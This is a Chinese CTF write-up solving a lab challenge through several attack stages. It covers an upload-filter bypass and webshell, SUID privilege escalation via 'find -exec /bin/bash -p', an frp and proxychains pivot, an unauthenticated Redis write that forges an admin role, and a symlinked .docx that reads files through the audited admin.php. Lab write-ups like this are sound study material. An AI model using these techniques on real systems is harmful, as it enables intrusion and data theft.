翻斗幼儿园历险记-CTF-WP

翻斗幼儿园历险记

一、搭建:

docker-compose up -d 运行那个docker-compose.yml文件即可

image-20250327203752856

打开127.0.0.1:32777就运行好了

image-20250327204004316

2、打法

文件上传

image-20250327204028885

前端过滤,bp抓包改后缀即可

image-20250327204331766

image-20250327204744824

盲猜一波,上传的目录是/uploads下面

哥斯拉连上马后,发现没有权限

image-20250327205105208

提权看看

查找具有root权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20250327205302057

发现find具有这个权限,就可以用find命令提权

find / -exec /bin/bash -p \;

提权后,发现nmd是个假flag

image-20250327212008847

这会大概猜到了是个内网题,frp搭个隧道看看

image-20250327212234408

启动下vps的服务端

image-20250327212522964

客户端给frpc权限

image-20250327213455651

客户端运行frp

image-20250327213040544

查一下ip

image-20250327213310901

配个代理就可以访问内网了

image-20250327213650259

router scan扫一下内网其他机器

image-20250327213710129

记得routescan配置代理

image-20250926150126331

扫到存活的机器了

image-20250327214014571

进去看一下

注册个号

image-20250327214115848

要我算一万次不可能

image-20250327214137804

看源码

image-20250327214204129

image-20250327214412747

image-20250327214440343

在admin.php里面

image-20250327214452851

艹了,要admin权限

访问一下

image-20250328134656303

但给的源码中有redis的文件,看下能不能redis未授权

内网题,得用proxychains设置我的vps代理打redis

给kali安装代理proxychains

sudo apt install proxychains

配置代理

sudo vim /etc/proxychains.conf

image-20250926150204814

给一个命令实现代理,只要在这个命令前面加上proxychains这个命令就好

proxychains redis-cli -h 172.11.0.3 -p 6379

成功连上内网的redis

image-20250328133402648

看见我的角色只是个noBody

image-20250328133446923

想办法把我的role角色写成admin

image-20250328133751184

set user:test eyJwYXNzd29yZCI6InRlc3QiLCJyb2xlIjoiYWRtaW4ifQ==

image-20250328133916574

这会拿test账号密码admin登录

image-20250328134739626

再访问admin.php

image-20250328134754794

这题考的就是个word文档上传

其实word文档本质上就是个压缩包,你用bandzizip都可以把它解压成几个文件

image-20250328135854456

审计一下admin.php

<?php
require_once 'common.php';
$user = getCurrentUser();#调用 getCurrentUser() 函数,获取当前用户的信息
if (!$user || $user['role'] !== 'admin') {
    header('HTTP/1.1 403 Forbidden');
    die('<h1 class="text-light">403 Forbidden - 权限不足</h1>');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    define('REL_FILENAME', 'word/_rels/document.xml.rels');#定义一个常量 REL_FILENAME,其值为 'word/_rels/document.xml.rels'。这是 Word 文档中存储文档关系(如图片引用关系)的文件路径。

    function hellYeah($code, $msg): void
    {
        http_response_code($code);
        die("<div class='neu-card'><div class='alert alert-danger'>$msg</div></div>");
    }

    if (!isset($_FILES['input'])) hellYeah(400, '请选择要上传的文件');
    if ($_FILES['input']['error'] !== UPLOAD_ERR_OK) hellYeah(500, '文件上传错误');
    if ($_FILES['input']['type'] != 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')#查文件类型是否为 .docx(通过 MIME 类型检查)。
        hellYeah(400, '请上传Word文档 (.docx)');

    $zip = new ZipArchive();#创建一个 ZipArchive 对象,用于处理 .docx 文件(因为 .docx 文件本质上是一个 ZIP 包)。
    $zipFilename = $_FILES['input']['tmp_name'];#获取临时文件名
    if ($zip->open($zipFilename) !== true || $zip->locateName(REL_FILENAME) === false)
        hellYeah(400, '无效的Word文档格式');#检查是否包含 word/_rels/document.xml.rels 文件,以验证是否为有效的 Word 文档

    $relsDom = simplexml_load_string($zip->getFromName(REL_FILENAME));#使用 simplexml_load_string 函数解析 document.xml.rels 文件的内容。
    if ($relsDom === false) hellYeah(400, '文档关系表解析失败');

    $tmpDir = exec("mktemp -d --tmpdir=/tmp");#使用 mktemp 命令创建一个临时目录(存储提取的图片)
    shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");#使用 unzip 命令从 .docx 文件中提取 word/media 目录下的所有图片文件到临时目录

    function cleanup($tmpDir): void
    {
        shell_exec("rm -rf $tmpDir");
    }

    register_shutdown_function('cleanup', $tmpDir);

    @chdir("$tmpDir/word/media");#将当前工作目录切换到 word/media。
    ini_set('open_basedir', '.');#设置 open_basedir 限制,确保只能访问当前目录。

    $messages = [];
    foreach($relsDom->Relationship as $rel) {#遍历 document.xml.rels 文件中的 <Relationship> 元素。
        if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {
            if (!str_starts_with($rel['Target'], 'media/'))#如果目标路径以 media/ 开头,提取文件名并读取文件内容。
                continue;
            $filename = substr($rel['Target'], 6);
            $file = @file_get_contents($filename);
            if ($file === false)
                break;
            if ($result = @base64_encode($file))
                $messages[] = $result;
        }
    }
    system("rm -rf $tmpDir");
}

这个的思路就是直接创建个docx文档,然后用bandizip解压

image-20250328164043231

接着把documengt.xml.rels文件改了,用php伪协议读文件

image-20250328164106398

image-20250328164143530

然后,再创建个软链接mdia指向根目录

image-20250328164310594

接着把所有文件打包成zip

image-20250328164335249

再把这个zip文件改为docx文档,上传即可

image-20250328164402994

总体思路就是,利用软链接把工作目录media目录指向根目录,因为题目会提取documengt.xml.rels文件里面的图片至media,还会解析,所以documengt.xml.rels文件里的图片改为php伪协议来读取flag

posted @ 2025-09-26 14:57  破防剑客  阅读(15)  评论(0)    收藏  举报